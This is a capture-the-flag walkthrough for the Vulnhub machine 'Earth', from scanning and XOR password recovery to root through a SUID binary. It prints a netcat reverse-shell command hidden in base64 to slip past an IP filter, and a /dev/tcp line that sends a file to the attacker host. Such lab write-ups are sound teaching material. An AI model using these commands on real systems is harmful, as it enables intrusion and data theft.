Earth is a CTF machine from Vulnhub created by SirFlash. This is the third machine from his series “The Planets” and the previous machine “Venus” was equally great. As the author said, the difficulty is subjective to the experience. And, for me, I had to take hints for the root privilege escalation. The machine works well on VirtualBox. “Earth – The Planets – Vulnhub – Writeup”
Link to the machine: https://www.vulnhub.com/entry/the-planets-earth,755/
Step 1: Identify the IP address
As usual, I started the enumeration by identifying the IP address of the target machine (because I use machines on headless mode to avoid disturbances).
┌──(kali㉿kali)-[~/vulnhub/earth] └─$ fping -aqg 10.0.0.0/24 10.0.0.1 10.0.0.2 10.0.0.3 10.0.0.4 10.0.0.125
As we can see, the IP address of my machine is 10.0.0.4 and that of the target is 10.0.0.125.
Step 2: Scan open ports
Next, I scanned the open ports on the target.
┌──(kali㉿kali)-[~/vulnhub/earth] └─$ nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.125 # Nmap 7.92 scan initiated Wed Dec 15 19:47:53 2021 as: nmap -v -T4 -p- -sC -sV -oN nmap.log 10.0.0.125 Nmap scan report for 10.0.0.125 Host is up (0.032s latency). Not shown: 65209 filtered tcp ports (no-response), 323 filtered tcp ports (host-unreach) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.6 (protocol 2.0) | ssh-hostkey: | 256 5b:2c:3f:dc:8b:76:e9:21:7b:d0:56:24:df:be:e9:a8 (ECDSA) |_ 256 b0:3c:72:3b:72:21:26:ce:3a:84:e8:41:ec:c8:f8:41 (ED25519) 80/tcp open http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9) |_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9 |_http-title: Bad Request (400) 443/tcp open ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9) |_http-title: Bad Request (400) | ssl-cert: Subject: commonName=earth.local/stateOrProvinceName=Space | Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local | Issuer: commonName=earth.local/stateOrProvinceName=Space | Public Key type: rsa | Public Key bits: 4096 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2021-10-12T23:26:31 | Not valid after: 2031-10-10T23:26:31 | MD5: 4efa 65d2 1a9e 0718 4b54 41da 3712 f187 |_SHA-1: 04db 5b29 a33f 8076 f16b 8a1b 581d 6988 db25 7651 |_ssl-date: TLS randomness does not represent time |_http-server-header: Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9 | tls-alpn: |_ http/1.1 Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Dec 15 19:53:47 2021 -- 1 IP address (1 host up) scanned in 353.64 seconds
From the SSL certificate, I found two hostnames.
443/tcp open ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9) |_http-title: Bad Request (400) | ssl-cert: Subject: commonName=earth.local/stateOrProvinceName=Space | Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local
So, I added these on my /etc/hosts file.
10.0.0.125 earth.local terratest.earth.local
Step 3: Enumerate the webserver
In the earth.local site, we have some encrypted messages that are signed with some keys.
Hence, we must identify the technique of the encryption. However, since we know it uses a message key, we have to identify it first.
This information is located in robots.txt of the terratest.earth.local website.
┌──(kali㉿kali)-[~/vulnhub/earth] └─$ curl https://terratest.earth.local/robots.txt -k User-Agent: * # ... snip ... Disallow: /testingnotes.*
Here, we can see there is a “testingnotes.*” file. Since this is a note, I guessed it would be a .txt file.
┌──(kali㉿kali)-[~/vulnhub/earth] └─$ curl https://terratest.earth.local/testingnotes.txt -k Testing secure messaging system notes: *Using XOR encryption as the algorithm, should be safe as used in RSA. *Earth has confirmed they have received our sent messages. *testdata.txt was used to test encryption. *terra used as username for admin portal. Todo: *How do we send our monthly keys to Earth securely? Or should we change keys weekly? *Need to test different key lengths to protect against bruteforce. How long should the key be? *Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.
From the note, we can confirm that the encryption algorithm is XOR and the key might be from testdata.txt. Likewise, the username for the admin portal is terra. Also, the admin portal is /admin on the other website.
┌──(kali㉿kali)-[~/vulnhub/earth] └─$ curl https://terratest.earth.local/testdata.txt -k According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.
With this information, I opened CyberChef and searched for XOR. I put the above text in the key part of CyberChef with UTF-8 input. The following message gave me the possible password of the user terra.
With the password, I logged in earth.local/admin portal that gives us a CLI input.
When I try to spawn a reverse shell, it says that remote connections are forbidden. This is because I used an IP address. Thus, we can bypass this by converting it to its decimal notation. Or, we can encode the command in the base64 format.
┌──(kali㉿kali)-[~/vulnhub/earth] └─$ echo 'nc -e /bin/bash 10.0.0.4 9001' | base64 bmMgLWUgL2Jpbi9iYXNoIDEwLjAuMC40IDkwMDEK
Next, I listened on the port 9001.
┌──(kali㉿kali)-[~/vulnhub/earth] └─$ nc -nlvp 9001 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001
After this, I could use the base64 payload to spawn the reverse shell as follows.
echo bmMgLWUgL2Jpbi9iYXNoIDEwLjAuMC40IDkwMDEK | base64 -d | bash
┌──(kali㉿kali)-[~/vulnhub/earth] └─$ nc -nlvp 9001 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 10.0.0.125. Ncat: Connection from 10.0.0.125:48794. id uid=48(apache) gid=48(apache) groups=48(apache)
We have to upgrade the shell after this.
Step 4: Root privilege escalation
Once I had a proper shell, I checked for the SUID binaries.
bash-5.1$ find / -perm -u=s 2>/dev/null # ... snip ... /usr/bin/reset_root # ... snip ...
When I checked the strings, I saw that it would change the password of the user root.
bash-5.1$ strings /usr/bin/reset_root /lib64/ld-linux-x86-64.so.2 setuid puts system access __libc_start_main libc.so.6 GLIBC_2.2.5 __gmon_start__ H=@@@ paleblueH ]\UH credentiH als rootH :theEartH hisflat A\A]A^A_ CHECKING IF RESET TRIGGERS PRESENT... RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth /usr/bin/echo 'root:Earth' | /usr/sbin/chpasswd RESET FAILED, ALL TRIGGERS ARE NOT PRESENT. ;*3$" # ... snip ... puts@GLIBC_2.2.5 _edata system@GLIBC_2.2.5 __libc_start_main@GLIBC_2.2.5 magic_cipher # ... snip ... main access@GLIBC_2.2.5 __TMC_END__ setuid@GLIBC_2.2.5 # ... snip ...
However, when I ran the script, I got the message RESET FAILED, … Thus, I copied the binary to my local machine.
nc -nlvp 9002 > reset_root
cat /usr/bin/reset_root > /dev/tcp/10.0.0.4/9002
Next, I gave it the executable permission.
chmod +x reset_root
The other thing I did was reverse engineer the code.
As we can see, there is a function magic_cipher. Likewise, the password change operation only occurs when three conditions are met. So, we can use ltrace binary to trace the library calls of an ELF binary.
┌──(kali㉿kali)-[~/vulnhub/earth] └─$ ltrace ./reset_root puts("CHECKING IF RESET TRIGGERS PRESE"...CHECKING IF RESET TRIGGERS PRESENT... ) = 38 access("/dev/shm/kHgTFI5G", 0) = -1 access("/dev/shm/Zw7bV9U5", 0) = -1 access("/tmp/kcM0Wewe", 0) = -1 puts("RESET FAILED, ALL TRIGGERS ARE N"...RESET FAILED, ALL TRIGGERS ARE NOT PRESENT. ) = 44 +++ exited (status 0) +++
From the output, we should make that three files on the shown locations should be present to run the trigger. Therefore, I created those files on the target. Lastly, when I ran the binary, it changed the password of the root.
bash-5.1$ touch /dev/shm/kHgTFI5G /dev/shm/Zw7bV9U5 /tmp/kcM0Wewe bash-5.1$ reset_root CHECKING IF RESET TRIGGERS PRESENT... RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth bash-5.1$ su -l Password: [root@earth ~]# id uid=0(root) gid=0(root) groups=0(root) [root@earth ~]#
Also read: Writeup of Titan from HackMyVM – Walkthrough